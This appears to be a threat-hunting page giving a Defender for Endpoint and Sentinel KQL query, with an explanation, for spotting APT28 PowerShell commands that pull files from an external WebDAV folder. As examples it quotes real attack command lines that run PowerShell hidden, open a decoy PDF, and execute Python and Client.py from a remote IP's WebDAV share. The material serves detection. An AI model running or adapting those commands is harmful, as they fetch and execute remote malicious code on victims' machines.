Query Details

Behaviour Apt28external Webdav

Query

# APT28 WebDav Folder File Collection

## Query Information


#### Description
Hunt for external connections initiated by PowerShell to collect files from the webdav folder. This is used to download malicious files.

Example commandlines:
```
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c "[system.Diagnostics.Process]::Start('msedge','http://194.126.178.8/webdav/231130N581.pdf'); \\194.126.178.8@80\webdav\Python39\python.exe \\194.126.178.8@80\webdav\Python39\Client.py"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c "[system.Diagnostics.Process]::Start('msedge','http://194.126.178.8/webdav/wody.pdf'); \\194.126.178.8@80\webdav\Python39\python.exe \\194.126.178.8@80\webdav\Python39\Client.py"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop  -c "[system.Diagnostics.Process]::Start('msedge','http://194.126.178.8/webdav/StrategyUa.pdf'); \\194.126.178.8@80\webdav\Python39\python.exe 
```

#### Risk
APT28 has gotten access to one of your devices and executes malicious payloads.

#### References
- https://cert.gov.ua/article/6276894

## Defender For Endpoint
```KQL
let IPRegex = '[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}';
DeviceProcessEvents
| where tolower(ProcessCommandLine) has_all ("start", "edge", "webdav")
| extend RemoteIP = extract(IPRegex, 0, ProcessCommandLine)
| where isnotempty(RemoteIP)
| where not(ipv4_is_private(RemoteIP))
| project-reorder DeviceName, RemoteIP, ProcessCommandLine, AccountUpn
```
## Sentinel
```KQL
let IPRegex = '[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}';
DeviceProcessEvents
| where tolower(ProcessCommandLine) has_all ("start", "edge", "webdav")
| extend RemoteIP = extract(IPRegex, 0, ProcessCommandLine)
| where isnotempty(RemoteIP)
| where not(ipv4_is_private(RemoteIP))
| project-reorder DeviceName, RemoteIP, ProcessCommandLine, AccountUpn
```

Explanation

The query is searching for external connections initiated by PowerShell to collect files from a webdav folder. It identifies the IP addresses involved in the connection and retrieves information about the device, remote IP, process command line, and user account. The purpose of this query is to detect and investigate potential malicious activity by APT28, who may have gained access to a device and is executing malicious payloads. The query can be used in both Defender for Endpoint and Sentinel.

Details

Bert-Jan Pals profile picture

Bert-Jan Pals

Released: January 19, 2024

Tables

DeviceProcessEvents

Keywords

Devices,Intune,User,PowerShell,WebDav,Files

Operators

wheretolowerhas_allextendextractisnotemptywherenotipv4_is_privateproject-reorder

Actions